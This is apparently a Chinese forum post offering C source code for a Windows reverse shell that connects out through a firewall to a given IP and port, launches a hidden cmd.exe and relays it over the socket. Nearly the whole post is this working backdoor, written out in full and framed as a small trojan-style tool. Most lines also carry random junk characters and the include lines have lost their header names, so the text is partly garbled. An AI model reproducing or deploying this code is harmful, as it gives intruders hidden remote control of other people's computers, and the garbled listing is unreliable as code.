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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 X{;5jnpG  
dW#?{n-H<  
/* ============================== G'WbXX  
Rebound port in Windows NT \ bv JZ_  
By wind,2006/7 # &Z1d(!  
===============================*/ eNFZD1mS  
#include `a]feAl  
#include Sbjc8V ut  
ms/Q-  
#pragma comment(lib,"wsock32.lib") <gx"p#JbZ  
tq2Ti Xo%  
void OutputShell(); rwY{QBSf  
SOCKET sClient; d2tJ=.DI  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 48[b1#q]  
>on' y+  
void main(int argc,char **argv) yr34&M(a  
{ xQ\S!py-  
WSADATA stWsaData; SOQR(UT  
int nRet; tnFhL&  
SOCKADDR_IN stSaiClient,stSaiServer; ^1`T_+#[s  
GE |P)VO  
if(argc != 3) 1 eMaKT_=  
{ 2hE+Om^n  
printf("Useage:\n\rRebound DestIP DestPort\n"); Y$N D  
return; Pc=:j(  
} Y\{&chuF  
& 6~AY :0r  
WSAStartup(MAKEWORD(2,2),&stWsaData); +V/mV7FK  
}BLT2]y0  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |n\(I$  
psB9~EU&Q  
stSaiClient.sin_family = AF_INET; A3zO&4f ]  
stSaiClient.sin_port = htons(0); hdurT  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Wj\< )cH]  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) s78V\Vw3  
{ o Np4> 7Lk  
printf("Bind Socket Failed!\n"); meR5E?Fm  
return; E]%&)3O[  
} DK }1T  
J)_IfbY  
stSaiServer.sin_family = AF_INET; 99&PY[f:{  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); WkK.ON^  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ZIvP?:=!  
LKI2R_|n  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) M;1B}x@  
{ aXyg`CDv  
printf("Connect Error!"); 5'"l0EuD  
return; Mgc|>#=  
} H&=3rkX  
OutputShell();  Dv-ubki  
} & *!) d"  
5=9gH  
void OutputShell() iM{UB=C  
{ ~OOD#/  
char szBuff[1024]; j!hdi-aTU  
SECURITY_ATTRIBUTES stSecurityAttributes; k{B;J\`E;  
OSVERSIONINFO stOsversionInfo;  hPgDK.R'  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; a$h zG-  
STARTUPINFO stStartupInfo; jGKasI`  
char *szShell; $ Y_v X 2  
PROCESS_INFORMATION stProcessInformation; j[\aGS7u  
unsigned long lBytesRead; s14;\  
\_PD@A9  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 6yPh0n  
HLp'^  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); r[y3@SE5  
stSecurityAttributes.lpSecurityDescriptor = 0; iJ 8I# j+N  
stSecurityAttributes.bInheritHandle = TRUE; \[;Qqn0  
3M<T}>  
t/0h)mL}  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); %eLf6|1x  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); .T }q"  
O7GJg;>?  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Hp?uYih0  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8i'EO6  
stStartupInfo.wShowWindow = SW_HIDE; a0[Mx 4  
stStartupInfo.hStdInput = hReadPipe; %!QY:[   
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe;  *"K7<S[  
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GetVersionEx(&stOsversionInfo); g;PZ$|%&s>  
BSbi.@@tp  
switch(stOsversionInfo.dwPlatformId) Ncle8=8  
{ C4/p5J  
case 1: ik Pm,ZN  
szShell = "command.com"; 8f{;oO  
break; fN{JLp  
default: l/o 4bkV  
szShell = "cmd.exe"; gCc::[}\Y  
break; ejI nJ  
} O^yD b  
}wR&0<HA  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Zi~-m]9U  
o"./  
send(sClient,szMsg,77,0); /6a617?9J  
while(1) p:q?8+W-r  
{ 3 tIno!|  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); VA0p1AD  
if(lBytesRead) [^GXHE=  
{ XZ!^kftyW  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ,zU7UL^I  
send(sClient,szBuff,lBytesRead,0); u+/1ryp  
} sFWH*k dP?  
else gg%9EJpP  
{ sQ8_j  
lBytesRead=recv(sClient,szBuff,1024,0); tOf18V{a  
if(lBytesRead<=0) break; A~7q=-  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); O9(6?n  
} v a j  
} u*i[A\Y  
Oe:_B/l  
return; ww(.   
}
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